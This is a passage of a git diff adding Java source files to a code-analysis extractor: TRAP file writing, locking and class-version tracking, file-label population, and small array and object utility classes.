+		trapDependenciesForSource.addDependency(path);
+	}
+
+	/*
+	 * Source archive.
+	 */
+
+	/**
+	 * Write the given source file to the right source archive, encoded in UTF-8,
+	 * or do nothing if the file shouldn't be populated.
+	 */
+	public void writeCurrentSourceFileToSourceArchive(String contents) {
+		if (currentSpecFileEntry != null && currentSpecFileEntry.getSourceArchivePath() != null) {
+			File target = sourceArchiveFileFor(currentSourceFile);
+			target.getParentFile().mkdirs();
+			new WholeIO().write(target, contents);
+		}
+	}
+
+	public void writeFileToSourceArchive(File srcFile) {
+		File target = sourceArchiveFileFor(srcFile);
+		target.getParentFile().mkdirs();
+		String contents = new WholeIO().strictread(srcFile);
+		new WholeIO().write(target, contents);
+	}
+
+	private File sourceArchiveFileFor(File file) {
+		return FileUtil.appendAbsolutePath(currentSpecFileEntry.getSourceArchivePath(),
+				PathTransformer.std().fileAsDatabaseString(file));
+	}
+
+	/*
+	 * Trap file names and paths.
+	 */
+
+	private static final String CLASSES_DIR = "classes";
+	private static final String JARS_DIR = "jars";
+	private static final String MODULES_DIR = "modules";
+
+	private File getTrapFileForCurrentSourceFile() {
+		if (currentSpecFileEntry == null)
+			return null;
+		return trapFileFor(currentSourceFile);
+	}
+
+	private File getTrapFileForJarFile(File jarFile) {
+		if (!jarFile.getAbsolutePath().endsWith(".jar"))
+			return null;
+		return FileUtil.appendAbsolutePath(
+				currentSpecFileEntry.getTrapFolder(),
+				JARS_DIR + "/" + PathTransformer.std().fileAsDatabaseString(jarFile) + ".trap.gz");
+	}
+
+	private File getTrapFileForModule(String moduleName) {
+		return FileUtil.appendAbsolutePath(
+				currentSpecFileEntry.getTrapFolder(),
+				MODULES_DIR + "/" + moduleName + ".trap.gz");
+	}
+
+	private File trapFileFor(File file) {
+		return FileUtil.appendAbsolutePath(currentSpecFileEntry.getTrapFolder(),
+				PathTransformer.std().fileAsDatabaseString(file) + ".trap.gz");
+	}
+
+	private File getTrapFileForDecl(IrDeclaration sym, String signature) {
+		if (currentSpecFileEntry == null)
+			return null;
+		return trapFileForDecl(sym, signature);
+	}
+
+	private File trapFileForDecl(IrDeclaration sym, String signature) {
+		return FileUtil.fileRelativeTo(currentSpecFileEntry.getTrapFolder(),
+				trapFilePathForDecl(sym, signature));
+	}
+
+	private final Map<String, String> memberTrapPaths = new LinkedHashMap<String, String>();
+	private static final Pattern dots = Pattern.compile(".", Pattern.LITERAL);
+	private String trapFilePathForDecl(IrDeclaration sym, String signature) {
+		String binaryName = getIrDeclBinaryName(sym);
+		String binaryNameWithSignature = binaryName + signature;
+		// TODO: Reinstate this?
+		//if (getTrackClassOrigins())
+		//  classId += "-" + StringDigestor.digest(sym.getSourceFileId());
+		String result = memberTrapPaths.get(binaryNameWithSignature);
+		if (result == null) {
+			result = CLASSES_DIR + "/" +
+					dots.matcher(binaryName).replaceAll("/") +
+					signature +
+					".members" +
+					".trap.gz";
+			memberTrapPaths.put(binaryNameWithSignature, result);
+		}
+		return result;
+	}
+
+	/*
+	 * Deletion of existing trap files.
+	 */
+
+	private void deleteTrapFileAndDependencies(IrDeclaration sym, String signature) {
+		File trap = trapFileForDecl(sym, signature);
+		if (trap.exists()) {
+			trap.delete();
+			File depFile = new File(trap.getParentFile(), trap.getName().replace(".trap.gz", ".dep"));
+			if (depFile.exists())
+				depFile.delete();
+			File metadataFile = new File(trap.getParentFile(), trap.getName().replace(".trap.gz", ".metadata"));
+			if (metadataFile.exists())
+				metadataFile.delete();
+		}
+	}
+
+	/*
+	 * Trap writers.
+	 */
+
+	/**
+	 * A {@link TrapFileManager} to output facts for the given source file,
+	 * or <code>null</code> if the source file should not be populated.
+	 */
+	private TrapFileManager getTrapWriterForCurrentSourceFile() {
+		File trapFile = getTrapFileForCurrentSourceFile();
+		if (trapFile==null)
+			return null;
+		return trapWriter(trapFile, null, null);
+	}
+
+	/**
+	 * Get a {@link TrapFileManager} to write members
+	 * about a declaration, or <code>null</code> if the declaration shouldn't be populated.
+	 *
+	 * @param sym
+	 * 		The declaration's symbol, including, in particular, its fully qualified
+	 * 		binary class name.
+	 * @param signature
+	 * 		Any unique suffix needed to distinguish `sym` from other declarations with the same name.
+	 * 		For functions for example, this means its parameter signature.
+	 */
+	private TrapFileManager getMembersWriterForDecl(IrDeclaration sym, String signature) {
+		File trap = getTrapFileForDecl(sym, signature);
+		if (trap==null)
+			return null;
+		TrapClassVersion currVersion = TrapClassVersion.fromSymbol(sym, log);
+		String shortName = sym instanceof IrDeclarationWithName ? ((IrDeclarationWithName)sym).getName().asString() : "(name unknown)";
+		if (trap.exists()) {
+			// Only re-write an existing trap file if we encountered a newer version of the same class.
+			TrapClassVersion trapVersion = readVersionInfo(trap);
+			if (!currVersion.isValid()) {
+				log.warn("Not rewriting trap file for: " + shortName + " " + trapVersion + " " + currVersion + " " + trap);
+			} else if (currVersion.newerThan(trapVersion)) {
+				log.trace("Rewriting trap file for: " + shortName + " " + trapVersion + " " + currVersion + " " + trap);
+				deleteTrapFileAndDependencies(sym, signature);
+			} else {
+				return null;
+			}
+		} else {
+			log.trace("Writing trap file for: " + shortName + " " + currVersion + " " + trap);
+		}
+		return trapWriter(trap, sym, signature);
+	}
+
+	private TrapFileManager trapWriter(File trapFile, IrDeclaration sym, String signature) {
+		if (!trapFile.getName().endsWith(".trap.gz"))
+			throw new CatastrophicError("OdasaOutput only supports writing to compressed trap files");
+		String relative = FileUtil.relativePath(trapFile, currentSpecFileEntry.getTrapFolder());
+		trapFile.getParentFile().mkdirs();
+		trapsCreated.addTrap(relative);
+		return concurrentWriter(trapFile, relative, log, sym, signature);
+	}
+
+	private TrapFileManager concurrentWriter(File trapFile, String relative, Logger log, IrDeclaration sym, String signature) {
+		if (trapFile.exists())
+			return null;
+		return new TrapFileManager(trapFile, relative, true, log, sym, signature);
+	}
+
+	public class TrapFileManager implements AutoCloseable {
+
+		private TrapDependencies trapDependenciesForClass;
+		private File trapFile;
+		private IrDeclaration sym;
+		private String signature;
+		private boolean hasError = false;
+
+		private TrapFileManager(File trapFile, String relative, boolean concurrentCreation, Logger log, IrDeclaration sym, String signature) {
+			trapDependenciesForClass = new TrapDependencies(relative);
+			this.trapFile = trapFile;
+			this.sym = sym;
+			this.signature = signature;
+		}
+
+		public File getFile() {
+			return trapFile;
+		}
+
+		public void addDependency(IrDeclaration dep, String signature) {
+			trapDependenciesForClass.addDependency(trapFilePathForDecl(dep, signature));
+		}
+
+		public void addDependency(IrClass c) {
+			addDependency(c, "");
+		}
+
+		public void close() {
+			if (hasError) {
+				return;
+			}
+
+			writeTrapDependencies(trapDependenciesForClass);
+			// Record major/minor version information for extracted class files.
+			// This is subsequently used to determine whether to re-extract (a newer version of) the same class.
+			File metadataFile = new File(trapFile.getAbsolutePath().replace(".trap.gz", ".metadata"));
+			try {
+				Map<String, String> versionMap = new LinkedHashMap<>();
+				TrapClassVersion tcv = TrapClassVersion.fromSymbol(sym, log);
+				versionMap.put(MAJOR_VERSION, String.valueOf(tcv.getMajorVersion()));
+				versionMap.put(MINOR_VERSION, String.valueOf(tcv.getMinorVersion()));
+				versionMap.put(LAST_MODIFIED, String.valueOf(tcv.getLastModified()));
+				versionMap.put(EXTRACTOR_NAME, tcv.getExtractorName());
+				FileUtil.writePropertiesCSV(metadataFile, versionMap);
+			} catch (IOException e) {
+				log.warn("Could not save trap metadata file: " + metadataFile.getAbsolutePath(), e);
+			}
+		}
+		private void writeTrapDependencies(TrapDependencies trapDependencies) {
+			String dep = trapDependencies.trapFile().replace(".trap.gz", ".dep");
+			trapDependencies.save(
+					currentSpecFileEntry.getTrapFolder().toPath().resolve(dep));
+		}
+
+		public void setHasError() {
+			hasError = true;
+		}
+	}
+
+	/*
+	 * Trap file locking.
+	 */
+
+	/**
+	 * <b>CAUTION</b>: to avoid the potential for deadlock between multiple concurrent extractor processes,
+	 * only one source file {@link TrapLocker} may be open at any time, and the lock must be obtained
+	 * <b>before</b> any <b>class</b> file lock.
+	 *
+	 * Trap file extensions (and paths) ensure that source and class file locks are distinct.
+	 *
+	 * @return  a {@link TrapLocker} for the currently processed source file, which must have been
+	 * previously set by a call to {@link OdasaOutput#setCurrentSourceFile(File)}.
+	 */
+	public TrapLocker getTrapLockerForCurrentSourceFile() {
+		return new TrapLocker((IrClass)null, null);
+	}
+
+	/**
+	 * <b>CAUTION</b>: to avoid the potential for deadlock between multiple concurrent extractor processes,
+	 * only one jar file {@link TrapLocker} may be open at any time, and the lock must be obtained
+	 * <b>after</b> any <b>source</b> file lock. Only one jar or class file lock may be open at any time.
+	 *
+	 * Trap file extensions (and paths) ensure that source and jar file locks are distinct.
+	 *
+	 * @return  a {@link TrapLocker} for the trap file corresponding to the given jar file.
+	 */
+	public TrapLocker getTrapLockerForJarFile(File jarFile) {
+		return new TrapLocker(jarFile);
+	}
+
+	/**
+	 * <b>CAUTION</b>: to avoid the potential for deadlock between multiple concurrent extractor processes,
+	 * only one module {@link TrapLocker} may be open at any time, and the lock must be obtained
+	 * <b>after</b> any <b>source</b> file lock. Only one jar or class file or module lock may be open at any time.
+	 *
+	 * Trap file extensions (and paths) ensure that source and module file locks are distinct.
+	 *
+	 * @return  a {@link TrapLocker} for the trap file corresponding to the given module.
+	 */
+	public TrapLocker getTrapLockerForModule(String moduleName) {
+		return new TrapLocker(moduleName);
+	}
+
+	/**
+	 * <b>CAUTION</b>: to avoid the potential for deadlock between multiple concurrent extractor processes,
+	 * only one class file {@link TrapLocker} may be open at any time, and the lock must be obtained
+	 * <b>after</b> any <b>source</b> file lock. Only one jar or class file lock may be open at any time.
+	 *
+	 * Trap file extensions (and paths) ensure that source and class file locks are distinct.
+	 *
+	 * @return  a {@link TrapLocker} for the trap file corresponding to the given class symbol.
+	 */
+	public TrapLocker getTrapLockerForDecl(IrDeclaration sym, String signature) {
+		return new TrapLocker(sym, signature);
+	}
+
+	public class TrapLocker implements AutoCloseable {
+		private final IrDeclaration sym;
+		private final File trapFile;
+		private final String signature;
+		private final boolean isNonSourceTrapFile;
+		private TrapLocker(IrDeclaration decl, String signature) {
+			this.sym = decl;
+			this.signature = signature;
+			if (sym==null) {
+				trapFile = getTrapFileForCurrentSourceFile();
+			} else {
+				trapFile = getTrapFileForDecl(sym, signature);
+			}
+			isNonSourceTrapFile = false;
+		}
+		private TrapLocker(File jarFile) {
+			sym = null;
+			signature = null;
+			trapFile = getTrapFileForJarFile(jarFile);
+			isNonSourceTrapFile = true;
+		}
+		private TrapLocker(String moduleName) {
+			sym = null;
+			signature = null;
+			trapFile = getTrapFileForModule(moduleName);
+			isNonSourceTrapFile = true;
+		}
+		public TrapFileManager getTrapFileManager() {
+			if (trapFile!=null) {
+				lockTrapFile(trapFile);
+				return getMembersWriterForDecl(sym, signature);
+			} else {
+				return null;
+			}
+		}
+		@Override
+		public void close() {
+			if (trapFile!=null) {
+				try {
+					unlockTrapFile(trapFile);
+				} catch (NestedError e) {
+					log.warn("Error unlocking trap file " + trapFile.getAbsolutePath(), e);
+				}
+			}
+		}
+
+		private LockDirectory getExtractorLockDir() {
+			return LockDirectory.instance(currentSpecFileEntry.getTrapFolder(), log);
+		}
+
+		private void lockTrapFile(File trapFile) {
+			getExtractorLockDir().blockingLock(LockingMode.Exclusive, trapFile, "Java extractor lock");
+		}
+
+		private void unlockTrapFile(File trapFile) {
+			boolean success = getExtractorLockDir().maybeUnlock(LockingMode.Exclusive, trapFile);
+			if (!success) {
+				log.warn("Trap file was not locked: " + trapFile);
+			}
+		}
+	}
+
+	/*
+	 * Class version tracking.
+	 */
+
+	private static final String MAJOR_VERSION = "majorVersion";
+	private static final String MINOR_VERSION = "minorVersion";
+	private static final String LAST_MODIFIED = "lastModified";
+	private static final String EXTRACTOR_NAME = "extractorName";
+
+	private static class TrapClassVersion {
+		private int majorVersion;
+		private int minorVersion;
+		private long lastModified;
+		private String extractorName; // May be null if not given
+
+		public int getMajorVersion() {
+			return majorVersion;
+		}
+
+		public int getMinorVersion() {
+			return minorVersion;
+		}
+
+		public long getLastModified() {
+			return lastModified;
+		}
+
+		public String getExtractorName() { return extractorName; }
+
+		private TrapClassVersion(int majorVersion, int minorVersion, long lastModified, String extractorName) {
+			this.majorVersion = majorVersion;
+			this.minorVersion = minorVersion;
+			this.lastModified = lastModified;
+			this.extractorName = extractorName;
+		}
+		private boolean newerThan(TrapClassVersion tcv) {
+			// Classes being compiled from source have major version 0 but should take precedence
+			// over any classes with the same qualified name loaded from the classpath
+			// in previous or subsequent extractor invocations.
+			if (tcv.majorVersion==0)
+				return false;
+			else if (majorVersion==0)
+				return true;
+			// Always consider the Kotlin extractor superior to the Java extractor, because we may decode and extract
+			// Kotlin metadata that the Java extractor can't understand:
+			if(!Objects.equals(tcv.extractorName, extractorName)) {
+				if (Objects.equals(tcv.extractorName, "kotlin"))
+					return false;
+				if (Objects.equals(extractorName, "kotlin"))
+					return true;
+			}
+			// Otherwise, determine precedence in the following order:
+			// majorVersion, minorVersion, lastModified.
+			return tcv.majorVersion < majorVersion ||
+					(tcv.majorVersion == majorVersion && tcv.minorVersion < minorVersion) ||
+					(tcv.majorVersion == majorVersion && tcv.minorVersion == minorVersion &&
+					tcv.lastModified < lastModified);
+		}
+		private static TrapClassVersion fromSymbol(IrDeclaration sym, Logger log) {
+			VirtualFile vf = sym instanceof IrClass ? getIrClassVirtualFile((IrClass)sym) :
+					sym.getParent() instanceof IrClass ? getIrClassVirtualFile((IrClass)sym.getParent()) :
+					null;
+			if(vf == null)
+				return new TrapClassVersion(-1, 0, 0, null);
+
+			final int[] versionStore = new int[1];
+
+			try {
+				// Opcodes has fields called ASM4, ASM5, ...
+				// We want to use the latest one that there is.
+				Field asmField = null;
+				int asmNum = -1;
+				for(Field f : Opcodes.class.getDeclaredFields()) {
+					String name = f.getName();
+					if(name.startsWith("ASM")) {
+						try {
+							int i = Integer.parseInt(name.substring(3));
+							if(i > asmNum) {
+								asmNum = i;
+								asmField = f;
+							}
+						} catch (NumberFormatException ex) {
+							// Do nothing; this field doesn't have a name of the right format
+						}
+					}
+				}
+				int asm = asmField.getInt(null);
+				ClassVisitor versionGetter = new ClassVisitor(asm) {
+					public void visit(int version, int access, java.lang.String name, java.lang.String signature, java.lang.String superName, java.lang.String[] interfaces) {
+						versionStore[0] = version;
+					}
+				};
+				(new ClassReader(vf.contentsToByteArray())).accept(versionGetter, ClassReader.SKIP_CODE | ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES);
+
+				return new TrapClassVersion(versionStore[0] & 0xffff, versionStore[0] >> 16, vf.getTimeStamp(), "kotlin");
+			}
+			catch(IllegalAccessException e) {
+				log.warn("Failed to read class file version information", e);
+				return new TrapClassVersion(-1, 0, 0, null);
+			}
+			catch(IOException e) {
+				log.warn("Failed to read class file version information", e);
+				return new TrapClassVersion(-1, 0, 0, null);
+			}
+		}
+		private boolean isValid() {
+			return majorVersion>=0 && minorVersion>=0;
+		}
+		@Override
+		public String toString() {
+			return majorVersion + "." + minorVersion + "-" + lastModified + "-" + extractorName;
+		}
+	}
+
+	private TrapClassVersion readVersionInfo(File trap) {
+		int majorVersion = 0;
+		int minorVersion = 0;
+		long lastModified = 0;
+		String extractorName = null;
+		File metadataFile = new File(trap.getAbsolutePath().replace(".trap.gz", ".metadata"));
+		if (metadataFile.exists()) {
+			Map<String,String> metadataMap = FileUtil.readPropertiesCSV(metadataFile);
+			try {
+				majorVersion = Integer.parseInt(metadataMap.get(MAJOR_VERSION));
+				minorVersion = Integer.parseInt(metadataMap.get(MINOR_VERSION));
+				lastModified = Long.parseLong(metadataMap.get(LAST_MODIFIED));
+				extractorName = metadataMap.get(EXTRACTOR_NAME);
+			} catch (NumberFormatException e) {
+				log.warn("Invalid class file version for " + trap.getAbsolutePath(), e);
+			}
+		} else {
+			log.warn("Trap metadata file does not exist: " + metadataFile.getAbsolutePath());
+		}
+		return new TrapClassVersion(majorVersion, minorVersion, lastModified, extractorName);
+	}
+
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/extractor/java/PopulateFile.java b/java/kotlin-extractor/src/main/java/com/semmle/extractor/java/PopulateFile.java
new file mode 100644
index 00000000000..c42f847367f
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/extractor/java/PopulateFile.java
@@ -0,0 +1,152 @@
+package com.semmle.extractor.java;
+
+import java.io.File;
+import java.util.HashMap;
+import java.util.Map;
+
+import com.github.codeql.Label;
+import com.github.codeql.DbFile;
+import com.github.codeql.TrapWriter;
+import com.github.codeql.KotlinExtractorDbSchemeKt;
+import com.semmle.util.exception.CatastrophicError;
+import com.semmle.util.files.FileUtil;
+import com.semmle.util.trap.pathtransformers.PathTransformer;
+import kotlin.Unit;
+
+public class PopulateFile {
+
+  private TrapWriter tw;
+  private PathTransformer transformer;
+  public PopulateFile(TrapWriter tw) {
+    this.tw = tw;
+    this.transformer = PathTransformer.std();
+  }
+
+	private static final String[] keyReplacementMap = new String[127];
+	static {
+		keyReplacementMap['&'] = "&amp;";
+		keyReplacementMap['{'] = "&lbrace;";
+		keyReplacementMap['}'] = "&rbrace;";
+		keyReplacementMap['"'] = "&quot;";
+		keyReplacementMap['@'] = "&commat;";
+		keyReplacementMap['#'] = "&num;";
+	}
+
+	/**
+	 * Escape a string for use in a TRAP key, by replacing special characters with HTML entities.
+	 * <p>
+	 * The given string cannot contain any sub-keys, as the delimiters <code>{</code> and <code>}</code>
+	 * are escaped.
+	 * <p>
+	 * To construct a key containing both sub-keys and arbitrary input data, escape the individual parts of
+	 * the key rather than the key as a whole, for example:
+	 * <pre>
+	 * "foo;{" + label.toString() + "};" + escapeKey(data)
+	 * </pre>
+	 */
+	public static String escapeKey(String s) {
+		StringBuilder sb = null;
+		int lastIndex = 0;
+		for (int i = 0; i < s.length(); ++i) {
+			char ch = s.charAt(i);
+			switch (ch) {
+			case '&':
+			case '{':
+			case '}':
+			case '"':
+			case '@':
+			case '#':
+				if (sb == null) {
+					sb = new StringBuilder();
+				}
+				sb.append(s, lastIndex, i);
+				sb.append(keyReplacementMap[ch]);
+				lastIndex = i + 1;
+				break;
+			}
+		}
+		if (sb != null) {
+			sb.append(s, lastIndex, s.length());
+			return sb.toString();
+		} else {
+			return s;
+		}
+	}
+
+    public Label populateFile(File absoluteFile) {
+        return getFileLabel(absoluteFile, true);
+    }
+
+    public Label<DbFile> getFileLabel(File absoluteFile, boolean populateTables) {
+        String databasePath = transformer.fileAsDatabaseString(absoluteFile);
+        Label result = tw.<DbFile>getLabelFor("@\"" + escapeKey(databasePath) + ";sourcefile" + "\"", label -> {
+            if(populateTables) {
+                KotlinExtractorDbSchemeKt.writeFiles(tw, label, databasePath);
+                populateParents(new File(databasePath), label);
+            }
+            return Unit.INSTANCE;
+        });
+        return result;
+    }
+
+	private Label addFolderTuple(String databasePath) {
+		Label result = tw.getLabelFor("@\"" + escapeKey(databasePath) + ";folder" + "\"");
+		KotlinExtractorDbSchemeKt.writeFolders(tw, result, databasePath);
+		return result;
+	}
+
+	/**
+	 * Populate the parents of an already-normalised file. The path transformers
+	 * and canonicalisation of {@link PathTransformer#fileAsDatabaseString(File)} will not be
+	 * re-applied to this, so it should only be called after proper normalisation
+	 * has happened. It will fill in all parent folders in the current TRAP file.
+	 */
+	private void populateParents(File normalisedFile, Label label) {
+		File parent = normalisedFile.getParentFile();
+		if (parent == null) return;
+
+    Label parentLabel = addFolderTuple(FileUtil.normalisePath(parent.getPath()));
+    populateParents(parent, parentLabel);
+		KotlinExtractorDbSchemeKt.writeContainerparent(tw, parentLabel, label);
+	}
+
+    public Label relativeFileId(File jarFile, String pathWithinJar) {
+        return getFileInJarLabel(jarFile, pathWithinJar, true);
+    }
+
+	public Label<DbFile> getFileInJarLabel(File jarFile, String pathWithinJar, boolean populateTables) {
+		if (pathWithinJar.contains("\\"))
+			throw new CatastrophicError("Invalid jar path: '" + pathWithinJar + "' should not contain '\\'.");
+
+        String databasePath = transformer.fileAsDatabaseString(jarFile);
+        if(!populateTables)
+            return tw.getLabelFor("@\"" + databasePath + "/" + pathWithinJar + ";jarFile\"");
+
+		Label jarFileId = this.populateFile(jarFile);
+        Label jarFileLocation = tw.getLocation(jarFileId, 0, 0, 0, 0);
+        KotlinExtractorDbSchemeKt.writeHasLocation(tw, jarFileId, jarFileLocation);
+
+		StringBuilder fullName = new StringBuilder(databasePath);
+		String[] split = pathWithinJar.split("/");
+		Label current = jarFileId;
+		for (int i = 0; i < split.length; i++) {
+			String shortName = split[i];
+
+			fullName.append("/");
+			fullName.append(shortName);
+			Label fileId = tw.getLabelFor("@\"" + fullName + ";jarFile" + "\"");
+
+			boolean file = i == split.length - 1;
+			if (file) {
+				KotlinExtractorDbSchemeKt.writeFiles(tw, fileId, fullName.toString());
+			} else {
+				KotlinExtractorDbSchemeKt.writeFolders(tw, fileId, fullName.toString());
+			}
+			KotlinExtractorDbSchemeKt.writeContainerparent(tw, current, fileId);
+			current = fileId;
+		}
+
+		return current;
+	}
+
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/array/ArrayUtil.java b/java/kotlin-extractor/src/main/java/com/semmle/util/array/ArrayUtil.java
new file mode 100644
index 00000000000..6553bb5511d
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/array/ArrayUtil.java
@@ -0,0 +1,246 @@
+package com.semmle.util.array;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.LinkedHashSet;
+import java.util.Set;
+
+import com.semmle.util.basic.ObjectUtil;
+
+/**
+ * Convenience methods for manipulating arrays.
+ */
+public class ArrayUtil
+{
+	
+	/**
+	 * A number slightly smaller than the maximum length of an array on most vms. 
+	 * This matches the constant in ArrayList.
+	 */
+	public static final int MAX_ARRAY_LENGTH = Integer.MAX_VALUE - 8;
+
+	/**
+	 * Comparator for primitive int values.
+	 */
+	public static interface IntComparator
+	{
+		/**
+		 * Compare ints {@code a} and {@code b}, returning a negative value if {@code a} is 'less' than
+		 * {@code b}, zero if they are equal, otherwise a positive value.
+		 */
+		public int compare (int a, int b);
+	}
+
+	/**
+	 * Find the index of the first occurrence of the given {@code value} in the given {@code array},
+	 * returning -1 if there is no such element.
+	 */
+	public static int findFirst(boolean[] array, boolean value)
+	{
+		for(int i=0; i<array.length; ++i) {
+			if (value == array[i])
+				return i;
+		}
+		return -1;
+	}
+
+	/**
+	 * Find the index of the first occurrence of the given {@code value} in the given {@code array},
+	 * returning -1 if there is no such element.
+	 */
+	public static int findFirst(byte[] array, byte value)
+	{
+		for(int i=0; i<array.length; ++i) {
+			if (value == array[i])
+				return i;
+		}
+		return -1;
+	}
+
+	/**
+	 * Find the index of the first occurrence of the given {@code value} in the given {@code array},
+	 * returning -1 if there is no such element.
+	 */
+	public static int findFirst(char[] array, char value)
+	{
+		for(int i=0; i<array.length; ++i) {
+			if (value == array[i])
+				return i;
+		}
+		return -1;
+	}
+
+	/**
+	 * Find the index of the first occurrence of the given {@code value} in the given {@code array},
+	 * returning -1 if there is no such element.
+	 */
+	public static int findFirst(double[] array, double value)
+	{
+		for(int i=0; i<array.length; ++i) {
+			if (value == array[i])
+				return i;
+		}
+		return -1;
+	}
+
+	/**
+	 * Find the index of the first occurrence of the given {@code value} in the given {@code array},
+	 * returning -1 if there is no such element.
+	 */
+	public static int findFirst(float[] array, float value)
+	{
+		for(int i=0; i<array.length; ++i) {
+			if (value == array[i])
+				return i;
+		}
+		return -1;
+	}
+
+
+	/**
+	 * Find the index of the first occurrence of the given {@code value} in the given {@code array},
+	 * returning -1 if there is no such element.
+	 */
+	public static int findFirst(int[] array, int value)
+	{
+		for(int i=0; i<array.length; ++i) {
+			if (value == array[i])
+				return i;
+		}
+		return -1;
+	}
+
+	/**
+	 * Find the index of the first occurrence of the given {@code value} in the given {@code array},
+	 * returning -1 if there is no element for which {@code value.equals(element)} is true.
+	 *
+	 * @see #findFirstSame(Object[], Object)
+	 */
+	public static <T> int findFirst(T[] array, T value)
+	{
+		for(int i=0; i<array.length; ++i) {
+			if (ObjectUtil.equals(value, array[i])) {
+				return i;
+			}
+		}
+		return -1;
+	}
+
+	/**
+	 * Find the index of the first occurrence of the given {@code value} in the given {@code array},
+	 * returning -1 if there is no element for which {@code value == element}.
+	 *
+	 * @see #findFirstSame(Object[], Object)
+	 */
+	public static <T> int findFirstSame(T[] array, T value)
+	{
+		for(int i=0; i<array.length; ++i) {
+			if (value == array[i])
+				return i;
+		}
+		return -1;
+	}
+
+	/**
+	 * Query whether the given {@code array} contains any element equal to the given {@code element}.
+	 */
+	public static boolean contains (int element, int ... array)
+	{
+		return findFirst(array, element) != -1;
+	}
+
+	
+
+	/**
+	 * Query whether the given {@code array} contains any element equal to the given {@code element}.
+	 */
+	@SafeVarargs
+	public static <T> boolean contains (T element, T ... array)
+	{
+		return findFirst(array, element) != -1;
+	}
+
+	/**
+	 * Construct a new array with length increased by one, containing all elements of a given array
+	 * followed by an additional element.
+	 */
+	public static <T> T[] append (T[] array, T element)
+	{
+		array = Arrays.copyOf(array, array.length + 1);
+		array[array.length-1] = element;
+		return array;
+	}
+
+	/**
+	 * Construct a new array containing the concatenation of the elements in a number of arrays.
+	 *
+	 * @param arrays The arrays to concatenate; may be null (in which case the result will be null).
+	 *          Null elements will be treated as empty arrays.
+	 * @return If {@code arrays} is null, a null array, otherwise a newly allocated array containing
+	 *         the elements of every non-null array in {@code arrays} concatenated consecutively.
+	 */
+	public static byte[] concatenate (byte[] ... arrays)
+	{
+		// Quick break-out if arrays is null
+		if (arrays == null) {
+			return null;
+		}
+		// Find the total length that will be required
+		int totalLength = 0;
+		for(byte[] array : arrays) {
+			totalLength += array == null ? 0 : array.length;
+		}
+		// Allocate a new array for the concatenation
+		byte[] concatenation = new byte[totalLength];
+		// Copy each non-null array into the concatenation
+		int offset = 0;
+		for(byte[] array : arrays) {
+			if (array != null) {
+				System.arraycopy(array, 0, concatenation, offset, array.length);
+				offset += array.length;
+			}
+		}
+
+		return concatenation;
+	}
+
+	/** Trivial short-hand for building an array (returns {@code elements} unchanged). */
+	public static <T> T[] toArray (T ... elements)
+	{
+		return elements;
+	}
+	
+	/**
+	 * Swap two elements in an array.
+	 *
+	 * @param array The array containing the elements to be swapped; must be non-null.
+	 * @param index1 The index of the first element to swap; must be in-bounds.
+	 * @param index2 The index of the second element to swap; must be in-bounds.
+	 * @return The given {@code array}.
+	 */
+	public static int[] swap (int[] array, int index1, int index2)
+	{
+		int value     = array[index1];
+		array[index1] = array[index2];
+		array[index2] = value;
+
+		return array;
+	}
+
+	/**
+	 * Returns a fresh Set containing all the elements in the array.
+	 *
+	 * @param <T>
+	 *            the class of the objects in the array
+	 * @param array
+	 *            the array containing the elements
+	 * @return a Set containing all the elements in the array.
+	 */
+	@SafeVarargs
+	public static <T> Set<T> asSet (T ... array)
+	{
+		Set<T> ts = new LinkedHashSet<>();
+		Collections.addAll(ts, array);
+		return ts;
+	}
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/basic/ObjectUtil.java b/java/kotlin-extractor/src/main/java/com/semmle/util/basic/ObjectUtil.java
new file mode 100644
index 00000000000..ac329ab1a2d
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/basic/ObjectUtil.java
@@ -0,0 +1,73 @@
+package com.semmle.util.basic;
+
+/**
+ * Trivial utility methods.
+ */
+public class ObjectUtil {
+
+	/** Query if {@code object1} and {@code object2} are reference-equal, or both null. */
+	public static boolean isSame (Object object1, Object object2)
+	{
+		return object1 == object2; // Reference equality comparison is deliberate
+	}
+
+	/**
+	 * Query if {@code object1} and {@code object2} are both null, or both non-null and equal
+	 * according to {@link Object#equals(Object)} (applied as {@code object1.equals(object2)}).
+	 */
+	public static boolean equals (Object object1, Object object2)
+	{
+		return object1 == null ? object2 == null : object1.equals(object2);
+	}
+
+	/**
+	 * Query whether {@code object} is equal to any element in {@code objects}, short-circuiting
+	 * the evaluation if possible.
+	 */
+	public static boolean equalsAny (Object object, Object ... objects)
+	{
+		// Quick break-out if there are no objects to be equal to
+		if (objects == null || objects.length == 0) {
+			return false;
+		}
+		// Compare against each object in turn
+		for(Object other : objects) {
+			if (equals(object, other)) {
+				return true;
+			}
+		}
+
+		return false;
+	}
+
+	/**
+	 * Return {@code object1.compareTo(object2)}, but handle the case of null input by returning 0 if
+	 * both objects are null, or 1 if only {@code object1} is null (implying that null is always
+	 * 'greater' than non-null).
+	 */
+	public static <T1, T2 extends T1> int compareTo (Comparable<T1> object1, T2 object2)
+	{
+		if (object1 == null) {
+			return object2 == null ? 0 : 1;
+		}
+		return object1.compareTo(object2);
+	}
+
+	/**
+	 * Return {@code value} if non-null, otherwise {@code replacement}.
+	 */
+	public static <T> T replaceNull (T value, T replacement)
+	{
+		return value == null ? replacement : value;
+	}
+	
+	@SafeVarargs
+	public static <T> T nullCoalesce(T... values) {
+		for(T value : values) {
+			if (value != null) {
+				return value;
+			}
+		}
+		return null;
+	}
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/concurrent/LockDirectory.java b/java/kotlin-extractor/src/main/java/com/semmle/util/concurrent/LockDirectory.java
new file mode 100644
index 00000000000..b5cdd79d641
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/concurrent/LockDirectory.java
@@ -0,0 +1,395 @@
+package com.semmle.util.concurrent;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.RandomAccessFile;
+import java.nio.channels.FileChannel;
+import java.nio.channels.FileLock;
+import java.util.LinkedHashMap;
+import java.util.Map;
+
+import com.semmle.util.data.StringDigestor;
+import com.semmle.util.exception.CatastrophicError;
+import com.semmle.util.exception.ResourceError;
+import com.semmle.util.files.FileUtil;
+import com.semmle.util.io.WholeIO;
+
+import com.github.codeql.Logger;
